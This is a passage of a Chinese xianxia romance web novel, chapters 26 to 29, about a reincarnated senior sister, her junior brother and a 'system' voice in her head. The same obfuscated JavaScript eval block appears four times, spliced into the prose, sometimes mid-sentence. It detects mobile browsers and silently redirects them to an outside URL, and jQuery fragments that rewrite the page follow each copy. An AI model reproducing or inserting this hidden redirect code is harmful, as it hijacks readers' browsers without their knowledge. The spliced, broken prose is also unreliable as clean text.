纪行云垂下眼睫,穿堂风吹过,身上的青衫飘荡,竟有一股人不胜衣的感觉:“我明白了,师姐你去吧,我一个人回去躺着也可以。”
江清月瞠目结舌。
这是干什么??堂堂昆仑山派宗主竟如此做派,若是叫旁人看了那还得了?你未来三界霸主的威信往哪搁?
作孽啊,真是作孽啊!
瞧着他寂寥的神情,江清月心内犹疑不已,再三权衡下试探道:“要不……你和我一起去?”
纪行云答得飞快:“好!”
江清月:“……”怎么感觉就等着她说出这一句呢?
可再看过去,他还是那副柔弱的可怜样,江清月便也摒弃了脑中的念头,二人在客栈老板慈祥的眼神中一起出了门。
街上很热闹,到处都是提着包袱行李的人,她一眼就看见了想找的人——那人穿着一身麻布衣裙,脸上洋溢着笑容,动作麻利地将包袱抗在肩上,正侧着头同其他人交谈——正是李月桃。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447493|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>纪行云跟在身后,顺着她的目光看过去,面上神情与方才截然相反,眼神冰冷沉郁,直直钉在李月桃身上。
李月桃似有所感,转头望过来,可只看见墙角一片摇曳的花丛。
“怎么了?”
李月桃摇摇头:“没事,许是看错了。”
江清月从墙边探身看去,发现李月桃已经同其他人相伴离去,才松了拉着纪行云衣袖的手,与其拉开距离。
纪行云目光闪了闪:“师姐,你不想被她发现吗?”
“也可以这么说,”江清月道,“本就是我自己心里惦念着她,所以来看看,既然她已经恢复神智正常生活,我便也放心了,没必要让她知晓。”
纪行云低声道:“师姐,你果然……”
江清月没听清:“什么?”
“没什么,我是在想——原来师姐留在此处是为此事。”纪行云笑道,“如今事了,师姐可要同我回昆仑山派?”
不,其实她是为了跑远点。
可这话她能跟纪行云说吗?肯定不能!她还未开始便夭折的逃跑大计啊!
江清月唉声叹气地上了灵舟,再次坐在熟悉的位置,心境却是大不相同——若说前两次她心里只有将要被发现真实身份的紧张,那么这次便是说不清道不明的五味杂陈——既有坦露真身的释然,也有一丝茫然。
从上一世的悬崖之战,到如今还魂重生……她一直以为纪行云对她满心怨恨,可如今看来与百年前并无二致。
可是,她在梦境之地看到的场景又该作何解?
【宿主,这不是好事吗?】系统不明白她心内的纠结,欢快道,【纪行云只是一个书中角色,他是一定要按照既定路线去生活的,而且系统瞧着他一点都没有怪罪宿主的意思,所以宿主完全不用有心理负担呀!】
是这样吗……?
【是呀是呀,其实宿主可以将小世界看作一场梦或是一场逼真的游戏,小世界内的所有人物都是虚拟的,而这些虚拟人物的命运轨迹都是既定的,极难更改。而宿主的任务就是将剧情线拨乱反正,带领小世界中的人回到他们既定的命运中去。】
【待您任务完成,便可以远离修仙界的纷扰!所以,我们只用安心做任务就好啦!】
坐在灵舟前面的纪行云仿佛察觉到她的视线,回头微微一笑:“怎么了,师姐?”
江清月耳边回响着系统毫无情感波动的机械音,面对纪行云的笑颜,她张了张口,鬼使神差道:“纪行云,你会恨我吗?”
闻言,纪行云笑容一顿,不答反问道:“师姐,你还会离开吗?”
“我……”江清月不知该如何回答。
【宿主,你在纠结什么?快回答呀!他只是一个书中人物,不会知道你在骗他的!】
在系统的催促下,她听见自己的声音道——“不会,我不会离开。”
灵舟在云雾间穿梭,将纪行云的声音吹得又轻又远,却隔不断他弯起的眉眼:“我也不会恨师姐,永远不会。”
26. 听学往事
“江师姐,你现如今可是修仙界的新起之秀啊!”
“是呀,宗主从那日历练后便一直向我们讲你的事迹,现在终于见到真人啦!”
“江师姐可算得上是我们这辈里天赋修为最高的了吧!”
曲折回廊上,几名年轻的小弟子围在她周围叽叽喳喳,江清月一边礼貌微笑,一边抽空应对脑中哀嚎的系统。
【啊啊啊果然出事了!本该属于男主的“NPC仰慕光环”怎么跑到你身上去了?我就说你抢了男主高光一定会出事的,果然不出我所料,剧情是彻底完蛋了呜呜呜……】
系统哭得凄惨,江清月也有一丝尴尬——没想到自己一个小小的举动竟然会带来如此大的反应。
就在这时,一道张狂的男声从回廊后传出,打断了她的思绪——“你师承何门……什么?散修?!现在什么小门小户的人都能和我们一同听学了?”
“哎呀你可小心点吧,小门小户出来的可最有心机。万一他记恨上你,再搞点幺蛾子放出魔物可如何是好?”
“仁兄说的在理,咱们可得离远了,千万别沾上晦气啊哈哈哈哈!”
“……”
在这几声不屑嘲讽的围堵下,却有一道略微熟悉的声音从中传出——“散修如何,大宗弟子又如何?莫欺少年穷!”
众人猝不及防听了场完整的墙角,皆立在原地面面相觑,都不知该作何反应。
有人呵呵笑了两声:“会不会是天罡宗和仙游宫的几名弟子在进行言语方面的切磋?”
他说的委婉,在场众人却都明白他想要表达的意思,这已是修仙界人人都知的老传统——天罡宗与仙游宫向来不睦,每每相逢,必定要先互相嘲讽几个回合才能心平静气好好讲话。
此次灵隐寺听学,修仙界中年轻一辈皆聚于此,这两个宗门的弟子自然也不例外。
可如今境况,好似不是那么简单。
众人一时都有些踟蹰。天罡宗与仙游宫都是修仙界有名的大宗,俗话说神仙打架凡人遭殃,若是他们此刻上前不小心触了霉头,遭殃的可就是他们了。
若不是此处回廊是前往课室的必经之路,众人真想转头便走。
相较于其他人的愁眉苦脸,江清月却是眼前一亮。她喊停系统:“别哭了,我这里有一个给男主立威的活动,要不要让他参加?”
……
看着纪行云上前同那群人交谈,系统静默半晌,还是忍不住道:【宿主,这样真的行吗?他们看起来人多势众,男主一个人势单力薄,这样会不会对男主不利?】
江清月道:“你不是说男主身上有光环吗?别怕,就算打起来他们也打不过纪行云。”
【宿主说得对!我们要相信男主!他可以的!】
见系统复又激昂起来,江清月也没在继续理会它,偶然抬头看去,却见方才还狂妄不已的几人面上神情已由最开始的激动变为平静,甚至还有几分忌惮,向着她这边看了几眼后便灰溜溜离去了。
纪行云带着一个身穿白衣的年轻男子返回到她身边,没理会探头探脑的其他人,恭敬道:“师姐,闹事的是几名仙游宫的外门弟子,已经解决了。”
“好。”江清月点头,用余光扫着站在纪行云身后的人。
那年轻男子上前两步,语带感激:“原来您就是江清月……不知您还记不记得我,上次密林历练中我因失误不小心惊动了树妖,还要多亏了您……”
闻言,江清月仔细端详了他一番,发现这人竟是那名黄杉弟子。
也不怪她没认出来,众人来灵隐寺听学,身上穿的皆是灵隐寺统一发放的白色校服,一眼望去尽是白茫茫一片,根本分不清谁是谁。
还未等她开口,便听那人接着道:“上次的恩情在下一直记在心里,没想到还能有再见面的一天。这次若不是有您相助,恐怕那群纨绔子弟也不会轻易放过我,如此大恩大德,田某实在不知该如何报答!”
听完这一连串的彩虹屁,江清月差点就顺嘴说出“都是小事别放在心上哈哈哈”,还好赶在最后一秒刹住了车。
“等等,方才是这位弟子救了你,”她捕捉到一丝不对劲,“你谢我做什么?”
那名自称田瑞的弟子也迷茫了:“不是您传言让他来的吗?”
江清月:“……”
她的确是这样同纪行云说的。
但是她也没想到这孩子这么实心眼啊?怎的都不懂得变通一番!
系统听了半天,勉强理清了其中的关系,艰涩开口:【宿主,那这份威信……】
江清月咽了咽口水,同样艰涩道:“……好像又落在我头上了。”
系统:【………………我先下线一会。】
哎呀,系统好像自闭了。
他们已经在回廊上耗费了许久,若是弟子在课堂上迟到,可是十分失礼的事情。
江清月轻瞥了纪行云一眼,后者立刻乖乖站在她身后——若是让系统见了,定是又要大呼小叫一番,哀叹堂堂男主竟无一丝血性,比小绵羊还温顺!
见田瑞面色似惴惴不安,江清月路过他身旁,温声道:“方才我听你说莫欺少年穷,既然你有这份志气,那便作出一番实际来,也好叫那群欺侮你的人知道士别三日当刮目相待。”
田瑞怔愣在原地。
江清月没再理会他,快步进了室内——上课要迟到了,灵隐寺的夫子可是很恐怖的!与昆仑山派戒律堂众长老相比也是不遑多让!
直到按部就班地听完一堂课,江清月才舒了口气,向旁边看去:“小师弟,你怎么回事?方才在课堂上便是一副心不在焉的模样,幸好今天夫子心情不错没发现,否则便是师尊来了都救不了你。”
“师姐,”纪行云面上有一丝茫然,“方才我是不是做的不好?”
“什么?”
“师姐好像并不想让那人知晓……弟子未能体会到师姐的指示。”
——果然男人心海底针,青春期小男孩的心思更是让
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447494|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人摸不着头脑。瞧他那一脸苦大仇深的样子,还以为是心内有什么未解决的难题,没想到是这么个小问题。
江清月:“你做的不错。”
纪行云:“真的吗?”
江清月:“但确实有一点疏漏……”
她话还没说完,便见纪行云已经蔫了下来,像颗被霜打了的茄子,满脸都写着“果然如此我知道自己做的不好于是决定接下来三天不会再讲一句话”,江清月抽了抽唇角,接着道:“……既是你自行解决的问题,为何最后要将功劳都推到我身上呢?”
纪行云低声道:“若没有师姐指点,也许弟子永远不会有这种想法。”
江清月:“论迹不论心,与人相处时不要去深究他内心在想什么,而是要看他做了什么。就如今日之事,你做了便是你的,何必再去探求这份善举是谁的想法?或者换句话说,若一人能永远伪装善意,那他与善人也别无二致。”
此刻,两人漫步在长廊,点点阳光透过枝叶的缝隙落在身上,好似也落在了纪行云逐渐睁大的双眼中。
“弟子受教了。”
江清月微微一笑——修仙界第一名师,舍她其谁!
之后几天,除了日常的听课修炼外,她便是蹭蹭夫子给魏音尘开的小灶、听听谢长渊从犄角旮旯里扒出来的八卦、顺便接受小弟子们的仰慕恭维……日子过得十分平淡且安宁。
这天,江清月过完平淡的一天正准备入睡,忽觉身体一轻,再一睁眼发现自己竟是处在一个熟悉的白色空间内——梦境之地!
由于纪行云修为逐渐增长,对于梦境之地的掌控力也越来越强,几年来鲜少有像今日这般直接将她拉进来的时候。此情此景,倒是与她第一次进入梦境之地的场景有一丝相像。
想来,应是这几天的课程太多太杂,他又在梦里给自己补课了。
她的睡意一扫而空,转而兴致勃勃地打量起四周来——萦绕在她身边的仍然是一片白雾,层层叠叠,让人看不清前方。
江清月熟门熟路地选了个方向信步走去,但逐渐呈现在她眼前的却不是熟悉的书房场景,而是一片清池。
池中水雾缭绕,朦朦胧胧看不真切,只有一个背影在雾气中若隐若现。
江清月脚步一顿,随即头也不回转身便走——天杀的,纪行云在沐浴啊!怎么偏偏这个时候把她拉进来了,她可没有偷窥别人沐浴的癖好!这要是传出去,她这个大师姐岂不是成大变态了?
她急着离开,没注意到脚下,只听“咔嚓”一声细响——踩到树枝了!
啊!为什么每次这种紧要关头脚下总是会莫名其妙地刷新出断裂的树枝这类违反常理的东西?!
为!什!么!!!
由于池边清幽宁静,这一声细响便显得格外明晰,仿若惊雷炸响。
“——师姐?!”
江清月简直想找个地缝钻进去,闻言头都没回,一叠声道:“没看见!我什么都没看见!!我先走一步!!!”
27. 慕少艾
但还没跑两步,她便觉脚下的坚实触感忽的软了下来,再一睁眼,发现自己竟是又回到了床榻上。
满室寂静中,江清月眨了眨眼,脸上后知后觉升腾起一股热气——天啊,她方才好像偷看了纪行云沐浴的场景,还被发现了!
不对不对,她没偷看!她什么都没看见!
她该怎么和纪行云解释?
不会真的被认为是大变态吧?
这时,系统迷迷糊糊的声音从她脑中传出来:【宿主,你这是干什么呢?】
江清月本就心绪不宁,被忽然出现的系统吓了一跳,拍着胸口道:“你不是在休眠吗?”
【系统检测到宿主脑中思绪太过活跃,疑似遇到了难以解决的问题,便出来看看有没有什么能帮得上忙的地方。】
江清月:“……”
嗯,说起来,这也确实是难以解决的问题……也许系统能有行得通的解决办法?
打定主意,江清月便捡着重要的点将方才的事说了一下,却不想系统的反应比她还激烈,甚至连数据都乱码了:【#%¥&*@#宿主您说什么?!您偷看男主洗澡了!】
“我真的没看到……”
系统充耳不闻,持续尖叫:【他才十六岁还是个孩子啊!您怎么下得去手!】
“我都说了没有……”
【呜呜呜,我不听我不听!】
江清月抹了把脸。
她没再理会系统的大呼小叫,取过外衣披上,打算出门去找纪行云——哪怕是为了脑中清净,她都必须要把这件事解释清楚!
却不想,刚一打开门,便见隔壁厢房内忽的飞出一抹白色,直直向着屋前的池塘冲去。
“——扑通!”
那人掉下去了!
是谁大半夜不睡觉在跳湖?
登时,她也顾不得其他,忙三两步奔到岸边,直到看清荷花池里的人影时才反应过来——隔壁厢房内住的是纪行云!
月上中天,夜色清凉如水,纪行云整个身体都浸在池中,只露出小半张雪白的脸。
虽说已到了春日,可晚间气温仍是带着一丝凉意,她此刻站在岸边都能察觉到冰凉水汽扑面,更不用说泡在水里的纪行云。他的身体都开始颤抖了。
江清月怕吵醒其他人,低声道:“你做什么?快上来!”
纪行云闻声抬头,面上神情惊慌失措:“师,师姐?你,我……”
瞧他面色冻得发白,江清月忙上前两步,想将他拉起来。可纪行云却仿佛见到了洪水猛兽一般,将头摇成了拨浪鼓:“师姐我没事,我就想泡一会,你先回去吧,我真没事。”
“瞧你冷的都说胡话了,快上来!”江清月道,“你是不是还想着方才的事?好师弟,我真的什么都没看见,你快上来,水里那么冷小心着凉了!”
却不想,纪行云却是又将身体往荷花池内沉了沉,满面羞愧,似是极难以启齿:“师姐,你别管我了。求你了,让我自己待一会吧!”
“……咦,小师弟今日怎的没来上课,奇怪奇怪!”谢长渊凑到江清月旁边,瞧着一侧的空座位道,“我在他门外叫了半天没人理,还以为他早早便来了课室……难不成是睡过头了?”
江清月叹了口气,实在不知该如何回答他,难不成说是因为小师弟被自己轻薄了羞愤欲死去跳湖,与她拉扯半夜死活不起来后终于成功把自己冻感冒了?
想到昨日系统的反应,她默了默,昧着良心道:“不知。”
谢长渊摇了摇折扇,随后“刷”的一声合起:“那就怪了,小师弟一向敬重夫子,应是不会无缘无故告假的。罢了,待会我去瞧瞧他。”
闻言,江清月松了一口气,正好她不知该如何单独面对纪行云,谢长渊跟着同去也好。
“肃静,”这时,一道威严苍老的声音穿过来,打断了两人的小话,“各个宗门送你们来灵隐寺听学,是为了让你们戒骄戒躁、磨炼意志、专于修行,不是为了让你们讲小话的。”
谢长渊立刻坐直身体,悄悄用余光打量夫子行动的方向,见自己逃过一劫立刻原形毕露,十分后怕地拍了拍胸口,又对江清月眨了眨眼,做口型道——吓得人家小心脏都要跳出来了。
他一张脸长得十分出色,眉目流转间风流俊逸,倒是配得上美男子的称号。
但江清月身经百战道心坚定,早就对他这幅模样免了疫,甚至都能猜出来下一瞬谢长渊想说什么,定是诸如“本公子的心跳的好快,大师姐你要不要摸一摸?”这类不堪入耳的话。
“清月——”
江清月一个激灵,立刻从思绪中抽离出来,条件反射地坐直身体——方才她还笑话谢长渊,没想到最后兜兜转转点的竟是她的名!
好在,夫子下一句话跟着的并不是斥责:“……昨日课上你画的符篆在何处?”
她这下可算是体会到劫后余生是何感觉,忙收了心思,将手边的一沓符篆递上前去。
夫子接过符篆,摸着胡须露出了今日的第一个笑容:“不错,一笔画就,灵力充沛。但有一点还需注意,纵使你天赋再高,日常课堂上也不可懈怠,要专心,可记得了?”
——果然一切都瞒不过夫子的双眼!
江清月赶紧告罪。
夫子摆摆手:“罢了,瞧你那一颗心都飞到别的地方去了,若是强将你留在此处也是无用,去吧。”
于是,在其余人羡慕的目光中,江清月起身行了个礼,得以先行离开。
一只脚刚踏出屋外,系统好奇的声音便从她脑海中传出来:【宿主,虽然方才那个白胡子老头斥责了您,但系统并没有从他身上感知到怒气。】
江清月放慢脚步:“夫子就是刀子嘴豆腐心,虽然看着严肃,但其实没坏心思……”
她话音还未落,便听课室内传来夫子斥责其他弟子的声音——“既然没有天赋,便静下心去练,勤能补拙,一步一步扎实着走!修行最忌讳的便是心浮气躁眼高手低,若明日还是如此,便不必再来见我了,以后也不要说我教过你!”
一人一统都沉默了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447495|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
——好吧,还是很可怕!
她走出不远,谢长渊便赶了上来,他眉梢一挑:“怎么这样看我,难不成本公子终于色|诱成功了?还是担心我被夫子责骂?”
江清月十分不优雅地翻了个白眼。
谢长渊哈哈大笑:“这个味儿才对嘛!不过你放心,虽然我整日里招猫逗狗斗蛐蛐,但也还没落到被夫子斥责的地步,不会给昆仑山派丢脸的。不过小师妹是真猛啊,年纪那么小,写出来的符篆比我的还霸气,你走得早没看见,夫子都快把她夸出花来了,嘿嘿不愧是我们宗门的……哎你等等我啊!”
谢长渊一路嘚瑟,摸摸花瓣又揪揪草叶,是半点也闲不下来,还没进门便叫道:“师弟啊,听说你病啦?别怕,师兄来给你送温暖!”
屋内,纪行云正捧着一本古籍在看,见二人进门,合上书页,轻声道:“……师姐,师兄。”
“哎呀,让师兄瞧瞧!”谢长渊弯下腰仔细打量,眯着眼睛道,“唔,脸是有点红,有点烫,看起来像是着凉了。难不难受啊?”
纪行云摇摇头,手指摩挲着书页:“还好。”
“看起来倒是不严重……”谢长渊围着他转了两圈,折扇摇的飞起,最后盖棺定论道,“算了看不明白,我还是去找个医师来吧。”
纪行云拦住他:“不用了,我休息一会便好。”
谢长渊絮絮叨叨:“真不用啊?那行吧,原本我瞧大师姐那么着急,还以为师弟你病得很严重呢,现在看来今天晚上就能活蹦乱跳了!果然是年轻人,身体素质就是好……”
闻言,纪行云悄悄抬眼看了看江清月,对上她的眼神又慌忙垂下眼睫,只是点了点头。
倒是谢长渊的声音又响了起来,语带诧异:“哎等会,师弟你脸怎么突然那么红?我记得方才没这么严重啊?要不还是去找个医师来吧?”
“师兄,我……我有点热。”
“热?不应该啊,你着凉了应该觉得冷才对……哎大师姐你干什么!”
江清月听他俩说了半天废话,终于是忍无可忍地将谢长渊拉了出来:“小师弟还是个病患,你既然已经看过了,便不要再打扰他,让他好好休息。”
谢长渊探头看了看紧闭的房门,唇角扬起一抹促狭的笑意:“大师姐,你是关心则乱,可经过本公子的一番探查,小师弟的表现却不像是生病了。”
“是吗,没看出来你还有行医的天赋。”
谢长渊沉浸在自己的推理中,眼神逐渐发亮:“况且方才你没听见吗——师弟他说他热!身体火热!这能是什么原因?哼哼,我顾忌着小师弟脸皮薄没好意思直说——他呀,怕是到了慕少艾的年纪了!”
这都什么跟什么……
江清月无语凝噎。
若不是江清月昨夜亲身经历过,瞧他一脸信誓旦旦,说不定还真信了他的歪理。
谢长渊展开折扇挡住大半张脸,只露出一双眯起的眼睛,自言自语道:“……等了这么久,我珍藏的宝贝终于可以派上用场了!”
28. 清心诀
这几天,江清月很明显的感觉到——纪行云在躲她。
不消说其他,哪怕是在人员众多的课堂和练武场上,只要她稍稍靠近纪行云,他便如耗子见了猫似地躲开。
如此来回几次,江清月感觉自己都要憋出内伤了!
正在江清月烦闷之时,门口忽的传来一阵敲门声,她精神一振,开门后看到门口站着一个亭亭玉立的少女——正是魏音尘。
她背着那柄重剑,怀里抱着一叠厚重的书,微微歪了歪头,束起的长发也随着她的动作倾斜:“师姐,要不要和我一起去找夫子?今日休沐无课,夫子说可以去找他额外学习。”
果然,学霸的精力就是比一般人充沛!就连休沐日也要用来学习!
“师姐不去,你自己去吧。”江清月微笑,眼睛瞥到魏音尘身后的重剑,脑中忽的灵光一闪,困扰她多日的问题迎刃而解——既然文的不通,那她便换武的!
就算纪行云能一直躲,难不成还能不回屋舍吗,到时待他进门,便是将人五花大绑也要把整件事的来龙去脉讲清楚!
择日不如撞日,打定主意后她告别魏音尘,直接出门右拐,推门而入。
纪行云不在房中。
江清月想了想,决定找个位置坐下等他。
灵隐寺为各位弟子配备的屋舍布局都是一致的,纪行云的屋舍内并没有什么额外的装饰,站在门口便能将一切布局收入眼底——统一的床,统一的桌案,统一的盆植……唯有桌上和枕边放着几本古籍,显示出这件屋子里还住着人。
等人时间漫长无聊,她随手捡起一本放在桌案上的古籍,打算随便看看打发时间,却不想入目的不是密密麻麻的蝇头小字,而是一页花花绿绿的图画!
江清月猛地合上了书。
在穿越前,江清月好歹也是个二十多岁的成年人,自然知道这狂野的配图上画的是什么东西。
不知怎的,那日谢长渊吊儿郎当的声音又再一次回响在她脑海里——“小师弟呀,他到了慕少艾的年纪啦!”
这时,门口传来“吱嘎”一声响,纪行云回来了。
他维持着推门的动作,不动声色地深呼吸了一下:“师姐……你怎么在这,我走错了吗?”
江清月没出声。
她的眼神从纪行云略显紧张的脸,逐渐下移到骨节分明的手指,少年人独有的青涩和力量在他的身上体现得淋漓尽致。
她心内惊涛骇浪,原本脑中想的捆绑大戏完全没实施,只觉自己的三观正以光速坍塌重建中,过于庞大的信息量将她的脑子塞得满满当当,都快不会转了。
她艰难地将手中的春宫图放回原处,精神恍惚道:“我挺好的。”
随后,她在纪行云不明所以的视线中站起,从囊袋中掏出一本崭新无比的《清心诀》,郑重道:“小师弟,你的确已经长大了。这些话本来不应该是我来和你讲,但师尊常年闭关,你二师兄又实在不靠谱……总之,你对这些东西感兴趣也很正常,但是千万要记住——不可沉溺其中,修行还是要摒除世俗杂念的。”
说完,她拍了拍纪行云的肩膀,脚步飘忽地离开了他的屋舍。
纪行云站在原地目送她离去。
恰在此时,绿叶攒动,树影摇晃,微风穿堂而过,一丝极其清雅的香气也随着这缕风拂过他的脸颊。
纪行云僵立片刻,蓦然抬手抽了自己一巴掌。
脸颊处传来热辣的痛意,可他心中那把火却丝毫没有被浇灭,反而越燃越旺,直烧得他双眼泛红。
半晌,纪行云才勉强平静下来。
进屋一瞧,屋内乱糟糟的,方才那阵风不仅吹乱了他的心,也将书案上的书页吹开了。
可待他看清书页上的内容,方才好不容易平静的呼吸又紊乱起来。下一瞬,那本披着古籍外皮的春宫图登时被灵力震成了碎片,纷纷扬扬落了满地。
“——谢长渊!”
“阿嚏!”谢长渊摸着鼻子,嘟嘟囔囔,“怎么会突然打喷嚏……定是有人在想我!难不成是小师弟?嘿嘿,不知道他喜不喜欢我为他准备的礼物?”
江清月没理会他的自言自语,满心惆怅。
由于上次春宫图横插一脚,导致她精心准备的话又没说出口,纪行云到底什么时候才能明白她真的不是个偷看男人洗澡的变态?
谢长渊一扬头,将破坏形象的小小失误抛在脑后,“刷”的一声展开折扇,一边轻摇,一边继续道:“你方才有没有仔细听我说话?”
“没有。”
谢长渊哀怨地看她一眼:“过分。不过谁让我想当你的男宠呢,宏图大业在前,受这点小委屈不算什么。”
江清月:“……”
“这可是天大的喜事,”谢长渊过了把嘴瘾,笑嘻嘻道:“我打听到这次听学快要结束了!”
见她仍是兴致缺缺,谢长渊不可置信地瞪大眼:“你怎么是这种反应,逃离这个鬼地方难道你不开心吗?在灵隐寺的这几个月可是我人生中最痛苦的时光——”
他掰着手指数:“不能穿自己喜欢的漂亮衣服,每天天不亮就要起床学习……最让我不能忍受的是灵隐寺的饭食!原本我以为昆仑山派的饭已经够难吃了,出来之后才发现人外有人,天外有天!就拿昨天吃的那道蒸鱼来说吧,吃起来的口感又腥又寡淡,像刚从水里捞出来就端到了桌上似的,说不定倒回水里,那鱼还能游呢!若是那鱼死后有灵,知道自己被做成这样恐怕都要气活过来!”
江清月终于绷不住笑了出来。
谢长渊将手中折扇摇的飞起:“你还笑!你知道我这几个月过得有多痛苦吗——哎你去干什么?”
江清月起身,推开窗探头看了看,除了一片挤挤挨挨的高树矮花什么都没看见:“方才我察觉到窗边有响动,还以为窗外有人,想来是弄错了。”
谢长渊:“这有什么好偷听的,谁要是想听我可以在他耳边说三天三夜!”
她坐回
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447496|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去,笑道:“看得出来,你对这趟听学有点怨言。”
“岂止是一点!那是非常多!”
窗外微风徐徐,枝叶随风晃动不止,打在窗户上发出细小的簌簌声,像是一支轻缓的乐曲,将她纷乱的思绪抚平。
一片宁静中,忽的有一道完全陌生的嗓音在她耳边炸响,一下子将江清月从那种浮在半空中的状态拉回了地面——“你咋睡着了?”
江清月晃晃头,眼前影影绰绰的虚影逐渐散去,她看清了——
四周是一片荒芜的废弃弟子舍,正对自己说话的是个顶着一头自来卷的陌生弟子,他瞪大眼睛看着她:“听八卦也能睡着?振作起来啊,还要修炼呢!”
江清月坐直身体,这才反应过来自己方才竟是睡着了,还梦到了之前发生的事情,可是……听八卦和修炼有什么关系?
她怀疑自己还没睡醒。
面前的卷毛小弟子见她一脸迷茫,正想开口说点什么,忽的被一道凄厉的哀嚎打断——“苍天啊大地啊!我已经在这里一动不动的听了三天的八卦了!什么时候才能修为晋升啊!”
这石破天惊的一嗓子将江清月吓了一大跳,可举目四望,在场众人却是一副司空见惯的模样。她悄声问道:“这人是怎么了?走火入魔了?”
旁边那人摇摇头,神情高深莫测,一头自来卷随着他的动作来回抖动:“你不会是刚来的吧?竟然不懂宗门中最新潮的修行方法?”
江清月:“……”
她该懂吗?
见她一副虚心求教的模样,自来卷弟子也不吝啬,大方传授秘诀:“其实这种修行秘法流传时间并不久,嗯……大概是三天前,有一位前辈坐在此地吐纳修炼,却始终不得其法,然而——待她听了某位同门讲述的八卦后,突然顿悟了!修为立刻上升了一个大境界!这是何等上乘的机缘啊!”
此人语调抑扬顿挫,是个茶馆酒楼说书的好苗子,可这内容……
江清月仔细辨别了一下,只觉得有哪里不对劲——怎么听起来竟是诡异的熟悉?
等等,这不会是她在众人面前晋升的场景吧?
自来卷见她神色莫名似是不信,悄咪咪道:“这你就不知道了吧?这法子有用的很!我在隔壁峰的朋友亲眼看着一名弟子靠这方法结出金丹呢!厉害吧?我们还打算试试其他的方法,比如说边沐浴边练功什么的……”
江清月险些维持不住面上的表情:“……”
不要随便灵机一动啊!走火入魔了怎么办?
关键是这流传的故事版本和真实情况差的也太多了点吧???
这厢江清月目瞪口呆,那边还在哀嚎的小弟子却是愈加悲愤,恨不得以头抢地:“三天啊!整整三天啊!”
自来卷瞧着那边目露怜悯:“唉,机遇都是可遇不可求的,天才的方法哪里是那么容易成功的呢?这位同门有些操之过急了!不像我,常听常记积累基础,总会有突破的一天的,你说是不是?”
29. 旧物故人
江清月精神恍惚,最后也不知自己是如何回答这名热情的同门,待她回过神来,已经站了万仞峰山脚下。
一时间,她进退两难。
自三川镇回来后,她便鲜少与纪行云见面,其中自然有他宗主事务繁忙无暇顾及这一点,但更多的原因是江清月过不了心里的那一关。
她一直没想好该如何向纪行云解释自己回魂重生,也没想好该不该和他聊悬崖上的那一剑。而不知为何,纪行云竟也一直都未过问,对她的态度也是恭谦有礼,与从前一般无二。
竟给了她一种二人之间没有隔着百年时光、没有一剑之仇和流言蜚语的错觉。
“师姐,好巧。”
抬眼看去,纪行云站在不远处,眉眼弯弯嘴角微挑。
江清月不合时宜地想到——那自来卷小弟子说的不错,他最近心情的确很好。
虽然他们二人聚在一起的次数不多,但每次相遇时他的眼角眉梢都带着一丝笑意,虽然浅淡,却令他那张本就出色的脸更加增色三分。
也许是那个梦的缘故,瞧着纪行云弯起的眼睛,江清月开口问道:“……放在桌案上的那本《清心诀》,是我之前送你的那本吧?”
纪行云笑意更深:“果然什么都瞒不过师姐。我一直替师姐保管着之前的喜爱之物,师姐可有时间同我去看吗?”
江清月欣然前往,却不想越走周边景色越是熟悉。她有些疑惑:“这不是去宗主寝殿的方向吗?”
“师姐请见谅,”纪行云回答得彬彬有礼,“因是弟子自行保管,为了便于维护,便将那些物件安放得近了些。”
江清月点点头:“原来如此。”
交谈间,二人已经站在偏殿前,殿门应声而开,江清月好奇地向内看去。
入目之景让她大吃一惊,饶是她做了一路的心理准备,在亲眼见到的这一刻,才发现自己的心理准备还是做少了。
——这根本就是把她原来的寝殿整个搬过来了吧?
纪行云温声道:“师姐可还喜欢?”
江清月在寝殿内走了两圈,掩下震惊之色,矜持点头道:“尚可。”
纪行云:“师姐可要搬过来住?”
闻言,江清月心头微微一跳,直觉有些不对劲,只是还未开口便听纪行云继续道:“师姐别当真,我开玩笑的。”
